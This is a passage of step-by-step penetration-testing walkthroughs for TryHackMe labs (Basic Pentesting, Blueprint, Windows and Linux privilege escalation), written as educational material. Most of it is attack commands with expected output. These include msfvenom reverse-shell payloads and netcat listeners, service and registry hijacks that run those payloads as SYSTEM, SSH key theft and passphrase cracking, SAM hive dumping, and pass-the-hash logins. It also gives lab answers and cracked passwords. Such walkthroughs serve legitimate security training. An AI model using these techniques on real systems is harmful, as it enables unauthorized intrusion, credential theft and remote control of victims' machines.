cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# Linux Exploit Suggester
cd /home/user/tools/linux-exploit-suggester/
./Linux_Exploit_Suggester.pl

# Linux Smart Enumeration
cd /tmp
wget https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
chmod +x lse.sh
./lse.sh -l 1

# Unicorn - Privilege Escalation via metasploit
# On attacker machine, generate payload
# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f elf > shell.elf
# Transfer to target and make executable
chmod +x shell.elf
./shell.elf

# On attacker, in metasploit:
# use exploit/multi/handler
# set payload linux/x64/meterpreter/reverse_tcp
# set LHOST YOUR_IP
# set LPORT 4444
# exploit

# Once meterpreter session is established:
# meterpreter > getsystem
# meterpreter > shell

# Manual enumeration checklist:
# 1. sudo -l
# 2. find / -perm -u=s -type f 2>/dev/null
# 3. getcap -r / 2>/dev/null
# 4. cat /etc/crontab
# 5. find / -writable -type f 2>/dev/null
# 6. uname -a
# 7. cat ~/.bash_history
# 8. ps aux | grep root

Final Steps: Getting Root & Flags

# Once you get root shell:
whoami
# Output: root

id
# Output: uid=0(root) gid=0(root) groups=0(root)

# Get the root flag
find / -name "root.txt" -o -name "proof.txt" 2>/dev/null
cat /root/root.txt
cat /root/proof.txt

# Get user flag (if exists)
find / -name "user.txt" -o -name "user.flag" 2>/dev/null
cat /home/user/user.txt

# Document your path
echo "PrivEsc Method Used: [Describe method]"
echo "Vulnerability: [Describe vulnerability]"
echo "Exploit: [Describe exploit]"
echo "Remediation: [Suggest fixes]"

# Clean up files you created
rm -f /tmp/*.c /tmp/*.so /tmp/*.sh /tmp/--checkpoint*
rm -f /tmp/exploit* /tmp/shell*

# Practice other methods
# Exit root shell and try different techniques
exit
# You're back to user account
                                 

🧾 Complete Methodology Checklist

  • 1. Initial Enumeration: sudo -l, id, uname -a
  • 2. SUID/SGID: find / -perm -u=s -type f 2>/dev/null
  • 3. Capabilities: getcap -r / 2>/dev/null
  • 4. Cron Jobs: cat /etc/crontab, ls -la /etc/cron.*
  • 5. Writable Files: find / -writable -type f 2>/dev/null | grep -v /proc/
  • 6. Kernel: Check version, search for exploits
  • 7. History: cat ~/.bash_history, check other users
  • 8. Config Files: Search for passwords in configs
  • 9. SSH Keys: Look for private keys
  • 10. NFS: Check /etc/exports for no_root_squash
  • 11. Automated Tools: Use LinPEAS, LinEnum, etc.
  • 12. Document: Record everything for learning
✅ Complete walkthrough finished! This covers all 21 tasks in the TryHackMe Linux PrivEsc room. Practice each technique multiple times to build muscle memory and understanding.

🎯 Lab 27.3 – Basic Pentesting (Complete Walkthrough)

Complete step-by-step guide for TryHackMe Basic Pentesting room. Target IP: 10.48.183.146

⚠️ For educational purposes only. Use only in authorized lab environments.

Task 1: Deploy & Connect to Network

# Deploy the machine
# Click "Start Machine" button

# Connect to TryHackMe network
sudo openvpn your-config.ovpn

# Check your AttackBox network configuration
ip addr show eth0
# Output example:
# 2: eth0: mtu 1500 qdisc fq_codel state UP group default qlen 1000
# inet 10.10.10.10/24 brd 10.10.10.255 scope global eth0

# Verify connectivity to target
ping -c 3 10.48.183.146

Task 2: Service Enumeration

# Perform initial Nmap scan
nmap -sV -sC -oA initial_scan 10.48.183.146

# Check scan results
cat initial_scan.nmap

# Expected findings:
# PORT STATE SERVICE VERSION
# 21/tcp open ftp vsftpd 3.0.3
# 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
# 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
# 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
# 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

# More detailed scan for all ports
nmap -p- -sV -sC -oA full_scan 10.48.183.146

Task 3: Hidden Directory Discovery

# First, check the website
curl http://10.48.183.146
# Shows Apache2 Ubuntu Default Page

# Use gobuster for directory brute-forcing
gobuster dir -u http://10.48.183.146 -w /usr/share/wordlists/dirb/common.txt

# Or use dirb
dirb http://10.48.183.146 /usr/share/wordlists/dirb/common.txt

# Sample output:
# + http://10.48.183.146/development (CODE:301|SIZE:315)
# + http://10.48.183.146/hidden (CODE:301|SIZE:310)
# + http://10.48.183.146/manual (CODE:301|SIZE:311)

# Explore the hidden directory
curl http://10.48.183.146/hidden/
# Shows: "This is a hidden directory that you can't see in the main page."

# Explore the development directory
curl http://10.48.183.146/development/
# Shows two files: dev.txt and j.txt

Task 4: User & Password Brute-Forcing

# First, examine the development directory files
curl http://10.48.183.146/development/dev.txt
# Output: "2018-04-23: I've been messing with that struts thing, don't think it's working"

curl http://10.48.183.146/development/j.txt
# Output shows:
# "2018-04-23: I made some changes to the code, not done though."
# "2018-04-23: OK I think I'm done, this should work now"
# "2018-04-23: Added some logging, I hope Kay doesn't notice me pwning her stuff"
# "2018-04-23: Oh and I removed her password from the file, so no leaks. Password is: ***********"

# Try SMB enumeration for users
enum4linux -a 10.48.183.146

# From the files, we discover:
# 1. Username: jan (from j.txt filename)
# 2. Another user: kay (mentioned in j.txt)
# 3. Password hint in j.txt

Task 5: Credential Discovery & SSH Access

# The j.txt file contains a password for jan
# Let's try SSH with discovered credentials

# SSH as jan with password from j.txt
ssh jan@10.48.183.146
# Enter password when prompted (from j.txt)

# Success! You're now logged in as jan
whoami
# Output: jan

id
# Output: uid=1000(jan) gid=1000(jan) groups=1000(jan)

pwd
# Output: /home/jan

Task 6: Service Used for Access

# Confirm SSH access
ssh jan@10.48.183.146
# Service used: SSH (port 22)

# Once logged in, explore the system
ls -la

# Check for other users
ls /home/
# Output: jan kay

# Check kay's directory
ls -la /home/kay/
# Notice: .ssh directory with id_rsa file

Task 7: Privilege Escalation Enumeration

# Basic system enumeration
uname -a
# Output: Linux basic2 4.4.0-119-generic #143-Ubuntu SMP ...

cat /etc/os-release
# Shows: Ubuntu 16.04.4 LTS

# Check sudo permissions
sudo -l
# Jan likely has no sudo access

# Check SUID binaries
find / -perm -u=s -type f 2>/dev/null

# Check for interesting files in kay's directory
ls -la /home/kay/.ssh/
# Notice: id_rsa file is world-readable!
# -rw-r--r-- 1 kay kay 1743 Aug 13 2018 id_rsa

Task 8: Extracting SSH Private Key

# Check SSH key permissions
ls -la /home/kay/.ssh/id_rsa
# Output: -rw-r--r-- 1 kay kay 1743 Aug 13 2018 /home/kay/.ssh/id_rsa

# Copy the SSH key to your local machine
# From your AttackBox terminal (NOT the SSH session):
scp jan@10.48.183.146:/home/kay/.ssh/id_rsa .
# Password: [jan's password from earlier]

# Or if you want to see the key content first:
# From your SSH session as jan:
cat /home/kay/.ssh/id_rsa
# Copy the entire key including:
# -----BEGIN RSA PRIVATE KEY-----
# [encrypted key data]
# -----END RSA PRIVATE KEY-----

Task 9: Preparing the Key for Cracking

# Create a file with the private key on your local machine
vim rsa_id.txt

# Press 'i' to enter insert mode, then paste the entire key:
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAsIf[EXAMPLE_KEY_DATA_HERE]
-----END RSA PRIVATE KEY-----

# Press ESC, then type :wq and press Enter to save and exit

# Verify the file was created
cat rsa_id.txt
# Should show the private key

# Check file permissions
chmod 600 rsa_id.txt

Task 10: Cracking SSH Key Passphrase

# The SSH key is encrypted with a passphrase
# We need to crack it using john

# First, convert SSH key to john format
ssh2john rsa_id.txt > hash.txt

# Check the hash file
cat hash.txt
# Should look like: rsa_id.txt:$sshng$6$16$[HASH_DATA]$2350...

# Now crack with john using rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Wait for john to crack the passphrase
# This might take a few minutes

# Show the cracked password
john --show hash.txt

# Expected output:
# rsa_id.txt:beeswax
# 1 password hash cracked, 0 left

# The passphrase is: beeswax

Task 11: Accessing Kay's Account

# Now use the SSH key with cracked passphrase
# Make sure permissions are correct
chmod 600 rsa_id.txt

# SSH as kay using the private key
ssh -i rsa_id.txt kay@10.48.183.146

# When prompted for passphrase, enter: beeswax

# Success! You're now logged in as kay
whoami
# Output: kay

id
# Output: uid=1001(kay) gid=1001(kay) groups=1001(kay)

# Check kay's sudo permissions
sudo -l
# Kay might have sudo access

Task 12: Finding Final Password

# Explore kay's home directory
ls -la /home/kay/

# Look for interesting files
# You'll see a file called "pass.bak"

cat pass.bak
# This contains the final password!

# Example output:
# Here is the password you asked for!
# ********************************************************

# Also check for other interesting files
find /home/kay -type f -name "*.txt" -o -name "*.bak" -o -name "*pass*" 2>/dev/null

Task 13: Bonus - Getting Root Access

# Check if kay can run sudo
sudo -l

# If kay has sudo permissions:
sudo su
# Enter kay's password if prompted

# Or check for privilege escalation vectors
# Check SUID binaries again
find / -perm -u=s -type f 2>/dev/null | grep -v "/proc/"

# Check capabilities
getcap -r / 2>/dev/null

# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.*

# Get root flag if you escalate
cat /root/root.txt 2>/dev/null

Final Steps: Documenting Your Path

# Document your attack path for learning
echo "Attack Path:"
echo "1. Nmap scan revealed ports 21,22,80,139,445"
echo "2. Directory brute-forcing found /development/"
echo "3. j.txt file revealed jan's password"
echo "4. SSH as jan with discovered password"
echo "5. Found world-readable SSH key in /home/kay/.ssh/id_rsa"
echo "6. Copied key, cracked passphrase with john (beeswax)"
echo "7. SSH as kay using private key"
echo "8. Found final password in /home/kay/pass.bak"

# Clean up files
rm -f rsa_id.txt hash.txt

# Submit answers for the room

📋 Room Answers Reference

Question Answer How to Find
Hidden directory name development gobuster/dirb scan
Username jan From /development/j.txt filename
Password [From j.txt file] Last line of /development/j.txt
Service to access server SSH Port 22, SSH protocol
Other user found kay /development/j.txt mentions "kay"
Final password [From /home/kay/pass.bak] After SSH key cracking and accessing kay's account

🧾 Complete Methodology

  • 1. Always start with service enumeration (nmap)
  • 2. Check for hidden directories and files
  • 3. Look for information disclosure in web files
  • 4. Try discovered credentials on different services
  • 5. Check file permissions, especially for sensitive files
  • 6. Use tools like john for password cracking
  • 7. Document everything for learning and reporting
✅ Complete walkthrough finished! This covers the Basic Pentesting room from start to finish. Key takeaways: Information disclosure, weak file permissions, and password cracking are common real-world issues.

Lab 27.4 – Blueprint (Windows Penetration & Privilege Escalation)

📋 Room Information:
• Title: Blueprint
• Difficulty: Intermediate
• Time: 45 minutes
• Category: Windows Penetration Testing
• Goal: Hack into Windows machine & escalate to Administrator

This lab focuses on Windows penetration testing methodology, covering SMB enumeration, credential cracking, WinRM exploitation, and Windows privilege escalation. Blueprint represents a typical corporate Windows environment with common misconfigurations.

⚠️ Legal & Ethical Use Only
This guide is for authorized lab environments only. Perform these steps only on machines you own or have explicit permission to test.

🔍 Phase 1: Initial Reconnaissance & Service Discovery

Start with comprehensive port scanning to identify all available services and potential attack vectors on the Windows target.

# Aggressive scan with OS detection
nmap -A -T4 -p- 10.10.161.31

# Quick scan for common ports
nmap -sC -sV 10.10.161.31

# SMB specific enumeration
nmap --script smb-enum-users -p 445 10.10.161.31
Port Service Version Significance
80 HTTP Microsoft IIS Web attack surface
135 RPC Microsoft Windows RPC Windows services
139/445 SMB Windows SMB Primary attack vector
5985 WinRM Windows Remote Management Remote command execution
8080 HTTP-Alt osCommerce 2.3.4 Vulnerable web application
💡 SMB (Port 445) is often the most fruitful attack vector in Windows environments. It can reveal shares, users, and sometimes credentials.

📁 Phase 2: SMB Share Enumeration

SMB shares often contain sensitive information, configuration files, or even credentials. Enumerate available shares and their permissions.

# List SMB shares without authentication
smbclient -L //10.10.161.31 -N

# Check share permissions
smbmap -H 10.10.161.31

# Comprehensive SMB enumeration
enum4linux -a 10.10.161.31
# Connect to accessible share
smbclient //10.10.161.31/Users -N

# Once connected:
smb: \> dir
smb: \> get interesting_file.txt
smb: \> exit
✅ In Blueprint, you'll typically find anonymous access to certain shares containing configuration files with potential credentials.

🌐 Phase 3: Web Server Analysis

Even if the web server doesn't have obvious vulnerabilities, it may contain useful information, comments, or configuration details.

# Web technology fingerprinting
whatweb http://10.10.161.31

# Directory enumeration
gobuster dir -u http://10.10.161.31 -w /usr/share/wordlists/dirb/common.txt

# Check for specific files
curl http://10.10.161.31/robots.txt
curl http://10.10.161.31/web.config

# Check osCommerce on port 8080
whatweb http://10.10.161.75:8080
💡 IIS web servers often expose configuration files like web.config which may contain database connection strings or other sensitive information.

🔎 Phase 4: osCommerce Vulnerability Research

When you identify osCommerce 2.3.4 running on port 8080, research for known vulnerabilities and exploits.

# Search for osCommerce exploits
searchsploit oscommerce 2.3.4

# Copy exploit to current directory
searchsploit -m php/webapps/50128.py

# Examine the exploit code
cat 50128.py

# Run the exploit against the target
python3 50128.py http://10.10.161.75:8080/oscommerce-2.3.4/catalog
⚠️ Always examine exploit code before running it. Understand what it does and modify if necessary for your specific target.

🔐 Phase 5: Credential Harvesting & Cracking

Found credentials may be in various formats. Windows often uses NTLM hashes which need to be cracked or used in pass-the-hash attacks.

Step 5.1: Identify Hash Type
# Example NTLM hash format
hashcat --example-hashes | grep -i ntlm
Step 5.2: Crack NTLM Hash
# Using hashcat (mode 1000 = NTLM)
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

# Using john
john --format=nt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Online cracking with CrackStation
# Visit: https://crackstation.net/
CrackStation Results:
Hash: [NTLM hash from Blueprint]
Cracked Password: googleplus

⚡ Phase 6: WinRM Access with Cracked Credentials

With valid credentials, Windows Remote Management (WinRM) on port 5985 can provide remote command execution and shell access.

# Using evil-winrm (Ruby-based WinRM client)
evil-winrm -i 10.10.161.31 -u lab_user -p 'googleplus'

# Alternative using crackmapexec
crackmapexec winrm 10.10.161.31 -u lab_user -p 'googleplus' -x "whoami"
✅ Successful WinRM access provides an interactive PowerShell session running as the compromised user account.

📊 Phase 7: Post-Compromise Enumeration

Once inside the system, enumerate the environment to understand the security posture and identify privilege escalation paths.

System Information
# Check current user privileges
whoami /priv
whoami /groups

# System information
systeminfo
hostname
User & Group Information
# List local users
net user

# List local administrators
net localgroup administrators

# Check current user's groups
net user lab_user

🚀 Phase 8: Privilege Escalation Path Discovery

Windows privilege escalation often involves misconfigured permissions, vulnerable services, or credential exposure.

8.1: Registry Dumping for Credentials
# Save registry hives for offline analysis
reg.exe save hklm\security Security.hiv
reg.exe save hklm\system System.hiv
reg.exe save hklm\sam SAM.hiv

# Download files to your system
# From within evil-winrm:
download Security.hiv
download System.hiv
download SAM.hiv
8.2: Extract Hashes from Registry Files
# On your Kali system, after downloading files
samdump2 System.hiv SAM.hiv

# Alternative using impacket
impacket-secretsdump -system System.hiv -security Security.hiv -sam SAM.hiv LOCAL
💡 The SAM database contains local user password hashes. The SYSTEM hive contains the boot key needed to decrypt them.

👑 Phase 9: Administrator Access & Flag Collection

Based on enumeration findings, execute the appropriate privilege escalation technique to gain Administrator or SYSTEM privileges.

9.1: Directory Navigation & Flag Discovery
# List Administrator's Desktop
dir c:\users\Administrator\Desktop

# Check for root flag
dir c:\users\Administrator\Desktop\root.txt.txt

# View the flag contents
type c:\users\Administrator\Desktop\root.txt.txt
9.2: Alternative Flag Locations
# Common flag locations in Windows CTFs
type C:\Users\Administrator\Desktop\flag.txt
type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\root.txt
type C:\flag.txt
type C:\root.txt

🛠️ Phase 10: Hash Cracking Resources & Tools

Online Hash Cracking Services:
Service URL Best For
CrackStation https://crackstation.net/ Quick MD5, SHA1, NTLM cracking
Hashes.com https://hashes.com/en/decrypt/hash Large database, multiple hash types
Online Hash Crack https://www.onlinehashcrack.com/ GPU-powered cracking service
MD5Decrypt https://md5decrypt.net/en/ MD5, SHA1, SHA256, NTLM
Local Hash Cracking Tools:
# Hashcat (GPU acceleration)
hashcat -m 1000 ntlm_hash.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --format=nt ntlm_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Hydra (for online attacks)
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.161.31 http-post-form

📝 Phase 11: Documentation & Remediation

Complete Attack Path:
  1. 1. Port scan revealed osCommerce on port 8080
  2. 2. searchsploit identified osCommerce 2.3.4 exploit
  3. 3. Exploit execution provided initial access
  4. 4. SMB enumeration revealed user credentials
  5. 5. NTLM hash cracked using CrackStation → "googleplus"
  6. 6. WinRM access gained with cracked credentials
  7. 7. Registry dumped (SAM, SYSTEM, SECURITY)
  8. 8. Hash extraction and privilege escalation
  9. 9. Root flag obtained from Administrator Desktop
Security Recommendations:
  • 🔒 Update or remove vulnerable osCommerce installation
  • 🔒 Implement strong password policies
  • 🔒 Restrict SMB anonymous access
  • 🔒 Enable Windows Defender and real-time protection
  • 🔒 Regular security audits and patch management

🧠 Key Learning Points

🛠️ Technical Skills Practiced
  • SMB enumeration with enum4linux
  • Vulnerability research with searchsploit
  • Exploit modification and execution
  • Windows registry manipulation
  • Hash extraction and cracking
  • WinRM exploitation
📊 Methodological Takeaways
  • Comprehensive service enumeration
  • Vulnerability chaining
  • Credential reuse attacks
  • Persistence and lateral movement
  • Forensic evidence collection
  • Remediation strategy development
💡 Pro Tip: Always document your complete attack path including: initial reconnaissance, vulnerability identification, exploitation steps, post-exploitation activities, and privilege escalation methods. This documentation is crucial for both learning and professional reporting.



Lab 27.1 – Windows PrivEsc (Beginner) — Complete Walkthrough

📋 Room Information:
Title: Windows PrivEsc — TryHackMe
Difficulty: Beginner / Intermediate
Time: 75 minutes
Category: Windows Privilege Escalation
Goal: Practice 15+ Windows privilege escalation techniques on an intentionally misconfigured Windows VM
Credentials: user:password321
RDP Port: 3389
VM Creator: Sagi Shahar / Tib3rius (Windows PrivEsc for OSCP)

🪟 Windows PrivEsc — Complete Methodology Walkthrough

📄 Open TryHackMe Room

This lab provides hands-on practice with 15+ real-world Windows privilege escalation techniques. Each technique represents a common misconfiguration found in corporate Windows environments. The VM is intentionally vulnerable and safe for legal, authorized testing.

⚠️ Legal & Ethical Use Only
This guide is for authorized lab environments only. Perform these steps only on machines you own or have explicit permission to test. Unauthorized access is illegal.
Prerequisites:
• TryHackMe subscription (Free tier works)
• AttackBox or Kali Linux VM
• Basic understanding of Windows commands
• Familiarity with reverse shells

📌 Task 1: Deploy the Vulnerable Windows VM

🎯 Objective: Start the VM and establish RDP access
  1. Navigate to the Windows PrivEsc room
  2. Click "Start Machine" — VM will spawn in your network
  3. Connect using RDP (password: password321):
# Using xfreerdp (recommended)
xfreerdp3 /u:user /p:password321 /cert:ignore /v:MACHINE_IP

# Using rdesktop (alternative)
rdesktop -u user -p password321 MACHINE_IP

# Using Remmina (GUI)
💡 Note: It may take 2-3 minutes for RDP to become available after starting the machine.
⚠️ Troubleshooting: If RDP fails, ensure you are connected to TryHackMe VPN or using the AttackBox.

📌 Task 2: Generate Reverse Shell Executable

🎯 Objective: Create a reverse shell payload for use in all escalation techniques
Step 2.1: Generate msfvenom payload
# On Kali/AttackBox
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=53 -f exe -o reverse.exe

⚠️ Replace YOUR_IP with your AttackBox IP or VPN IP address.

Step 2.2: Start SMB server to transfer file
# On Kali, in the same directory as reverse.exe
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
Step 2.3: Copy file to Windows VM
# On Windows VM (from RDP session)
copy \\YOUR_KALI_IP\kali\reverse.exe C:\PrivEsc\reverse.exe
Step 2.4: Test the reverse shell
# On Kali
sudo nc -nvlp 53

# On Windows VM
C:\PrivEsc\reverse.exe
✅ You should receive a reverse shell connection. If successful, exit and proceed.
⚠️ Keep this file! The reverse.exe will be used in every privilege escalation task.

📌 Task 3: Service Exploits — Insecure Service Permissions

🎯 Objective: Abuse weak service DACL to modify service binary path
🔍 Technique: Users can modify service configuration (SERVICE_CHANGE_CONFIG) even though service runs as SYSTEM.
Step 3.1: Check service permissions
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc

Expected output: Shows SERVICE_CHANGE_CONFIG permission for user account.

Step 3.2: Query original service configuration
sc qc daclsvc
❓ Question 1: What is the original BINARY_PATH_NAME of the daclsvc service?
✅ Answer: C:\Program Files\DACL Service\daclservice.exe
Step 3.3: Modify service binary path
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
Step 3.4: Start listener and trigger service
# On Kali
sudo nc -nvlp 53

# On Windows
net start daclsvc
Result: Reverse shell received with SYSTEM privileges.
🛡️ Defensive Takeaways
  • Regularly audit service DACLs using accesschk or sc sdshow
  • Remove SERVICE_CHANGE_CONFIG permission from non-admin users
  • Run services with least privilege accounts, not SYSTEM

📌 Task 4: Service Exploits — Unquoted Service Path

🎯 Objective: Exploit missing quotes in service binary path with spaces
🔍 Technique: When a service path contains spaces and is not quoted, Windows attempts to execute in order: C:\Program.exeC:\Program Files\Unquoted.exe → etc.
Step 4.1: Query vulnerable service
sc qc unquotedsvc
❓ Question 2: What is the BINARY_PATH_NAME of the unquotedsvc service?
✅ Answer: C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
Step 4.2: Check directory permissions
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

Expected: BUILTIN\Users have FILE_ADD_FILE permission.

Step 4.3: Place malicious executable
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
Step 4.4: Trigger the exploit
# Start listener on Kali
sudo nc -nvlp 53

# Start service
net start unquotedsvc
Result: Reverse shell received with SYSTEM privileges.
🛡️ Defensive Takeaways
  • Always quote service binary paths: "C:\Program Files\Vendor\service.exe"
  • Restrict write permissions on Program Files directories
  • Audit unquoted service paths with PowerUp/WinPEAS

📌 Task 5: Service Exploits — Weak Registry Permissions

🎯 Objective: Modify service registry key to change ImagePath
Step 5.1: Query service
sc qc regsvc

Note: Service runs as SYSTEM.

Step 5.2: Check registry key permissions
C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

Expected: NT AUTHORITY\INTERACTIVE has FULL access.

Step 5.3: Modify ImagePath registry key
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
Step 5.4: Trigger the exploit
# Start listener on Kali
sudo nc -nvlp 53

# Start service
net start regsvc
Result: Reverse shell received with SYSTEM privileges.
🛡️ Defensive Takeaways
  • Restrict registry key permissions on service entries
  • Remove write access for non-admin users
  • Monitor registry key modifications via Sysmon (Event ID 13)

📌 Task 6: Service Exploits — Insecure Service Executables

🎯 Objective: Replace service binary with malicious executable
Step 6.1: Query vulnerable service
sc qc filepermsvc
Step 6.2: Check binary permissions
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

Expected: Everyone group has FILE_ALL_ACCESS (write permission).

Step 6.3: Replace service binary
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
Step 6.4: Trigger the exploit
# Start listener on Kali
sudo nc -nvlp 53

# Start service
net start filepermsvc
Result: Reverse shell received with SYSTEM privileges.
🛡️ Defensive Takeaways
  • Service binaries must be writable only by administrators
  • Regularly audit service binary permissions with icacls or accesschk
  • Implement file integrity monitoring on system directories

📌 Task 7: Registry — AutoRuns

🎯 Objective: Hijack AutoRun executable writable by everyone
Step 7.1: Query AutoRun registry keys
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Step 7.2: Check executable permissions
C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

Expected: Everyone group has FILE_ALL_ACCESS (write permission).

Step 7.3: Replace AutoRun executable
copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
Step 7.4: Trigger the exploit
# Start listener on Kali
sudo nc -nvlp 53

# Restart the Windows VM (or wait for admin login)
# Open new RDP session to trigger AutoRun
Result: Reverse shell received with admin privileges.
🛡️ Defensive Takeaways
  • Restrict write permissions on AutoRun executables
  • Use AutoRuns from Sysinternals to audit startup programs
  • Remove unnecessary AutoRun entries

📌 Task 8: Registry — AlwaysInstallElevated

🎯 Objective: Abuse AlwaysInstallElevated policy to install MSI as SYSTEM
🚨 CRITICAL MISCONFIGURATION: When both HKLM and HKCU AlwaysInstallElevated keys are set to 1, any user can install MSI packages with SYSTEM privileges.
Step 8.1: Query AlwaysInstallElevated registry keys
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Expected: Both keys set to 0x1 (1).

Step 8.2: Generate malicious MSI payload
# On Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=53 -f msi -o reverse.msi
Step 8.3: Transfer and execute MSI
# Copy reverse.msi to C:\PrivEsc\ (via SMB)
# Start listener on Kali
sudo nc -nvlp 53

# Install MSI as SYSTEM (no user interaction)
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
Result: Reverse shell received with SYSTEM privileges.
🛡️ Defensive Takeaways
  • AlwaysInstallElevated must be set to 0 (disabled) in both HKLM and HKCU
  • Audit group policy for this setting regularly
  • Use WinPEAS/PowerUp to detect this misconfiguration

📌 Task 9: Passwords — Registry Autologon

🎯 Objective: Find stored admin credentials in registry
Step 9.1: Query registry for Autologon credentials
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
❓ Question 3: What is the admin password found in the registry?
✅ Answer: password123 (may vary; if not present, script on VM can regenerate)
Step 9.2: Authenticate using discovered credentials
# On Kali
winexe -U 'admin%password123' //MACHINE_IP cmd.exe
Result: Command prompt with admin privileges.
🛡️ Defensive Takeaways
  • Never store plaintext credentials in registry
  • Use LAPS (Local Administrator Password Solution) for local admin passwords
  • Disable Autologon in production environments

📌 Task 10: Passwords — Saved Credentials (cmdkey)

🎯 Objective: Abuse saved credentials in Windows Credential Manager
Step 10.1: List saved credentials
cmdkey /list

Expected: Saved credentials for 'admin' user.

Step 10.2: Run reverse shell with saved credentials
# Start listener on Kali
sudo nc -nvlp 53

# Run as admin using saved credentials
runas /savecred /user:admin C:\PrivEsc\reverse.exe
Result: Reverse shell received with admin privileges.
🛡️ Defensive Takeaways
  • Saved credentials in Windows Vault should be strictly controlled
  • Regularly audit cmdkey /list on workstations
  • Remove unnecessary saved credentials

📌 Task 11: Passwords — Security Account Manager (SAM)

🎯 Objective: Extract NTLM hashes from SAM backup files
Step 11.1: Locate SAM/SYSTEM backups
dir C:\Windows\Repair\

Expected: SAM and SYSTEM backup files.

Step 11.2: Transfer files to Kali
copy C:\Windows\Repair\SAM \\YOUR_KALI_IP\kali\
copy C:\Windows\Repair\SYSTEM \\YOUR_KALI_IP\kali\
Step 11.3: Extract hashes with creddump7
# On Kali
git clone https://github.com/Tib3rius/creddump7
pip3 install pycrypto
python3 creddump7/pwdump.py SYSTEM SAM
❓ Question 4: What is the NTLM hash of the admin user?
✅ Answer: (Hash varies — use hashcat to crack)
Step 11.4: Crack NTLM hash
hashcat -m 1000 --force ADMIN_HASH /usr/share/wordlists/rockyou.txt
# or
john --format=nt ADMIN_HASH --wordlist=/usr/share/wordlists/rockyou.txt
🛡️ Defensive Takeaways
  • Never leave backup copies of SAM files in accessible locations
  • Secure the Windows\Repair directory with proper ACLs
  • Use Credential Guard to protect NTLM hashes

📌 Task 12: Passwords — Passing the Hash

🎯 Objective: Authenticate using NTLM hash without cracking
💡 Pass-the-Hash (PtH): Windows accepts NTLM hashes for authentication. No password cracking required!
Step 12.1: Use pth-winexe to authenticate with hash
pth-winexe -U 'admin%FULL_HASH_WITH_LM:NTLM_HASH' //MACHINE_IP cmd.exe

Format: admin%aad3b435b51404eeaad3b435b51404ee:NTLM_HASH (LM hash can be all zeros)

Result: Command prompt with admin privileges — no password required!
🛡️ Defensive Takeaways
  • Enable Credential Guard to prevent pass-the-hash attacks
  • Use Restricted Admin mode for RDP
  • Implement Windows Defender Credential Guard

📌 Task 13: Scheduled Tasks

🎯 Objective: Modify PowerShell script executed by SYSTEM cron
Step 13.1: Inspect scheduled task script
type C:\DevTools\CleanUp.ps1

Script runs as SYSTEM every minute.

Step 13.2: Check file permissions
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

Expected: User has write permission.

Step 13.3: Append reverse shell execution
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
Step 13.4: Wait for scheduled task
# Start listener on Kali
sudo nc -nvlp 53

# Wait up to 1 minute for task execution
Result: Reverse shell received with SYSTEM privileges.
🛡️ Defensive Takeaways
  • Scheduled task scripts must be writable only by administrators
  • Store scripts in protected directories with proper ACLs
  • Monitor scheduled task modifications via Event ID 4698

📌 Task 14: Insecure GUI Apps

🎯 Objective: Escape GUI application running with admin privileges
Step 14.1: Launch AdminPaint
# From RDP session as user, double-click AdminPaint desktop shortcut
Step 14.2: Verify admin privileges
tasklist /V | findstr mspaint.exe

Expected: mspaint.exe running with admin privileges.

Step 14.3: Escape to command prompt
# In Paint: File → Open
# In filename field, paste: file://c:/windows/system32/cmd.exe
# Press Enter
Result: Command prompt with admin privileges.
🛡️ Defensive Takeaways
  • Do not run GUI applications as administrator
  • Apply application whitelisting (AppLocker)
  • Remove unnecessary GUI tools from servers

📌 Task 15: Startup Apps

🎯 Objective: Add reverse shell to Startup folder
Step 15.1: Check Startup folder permissions
C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

Expected: BUILTIN\Users have write permission.

Step 15.2: Create shortcut with reverse shell
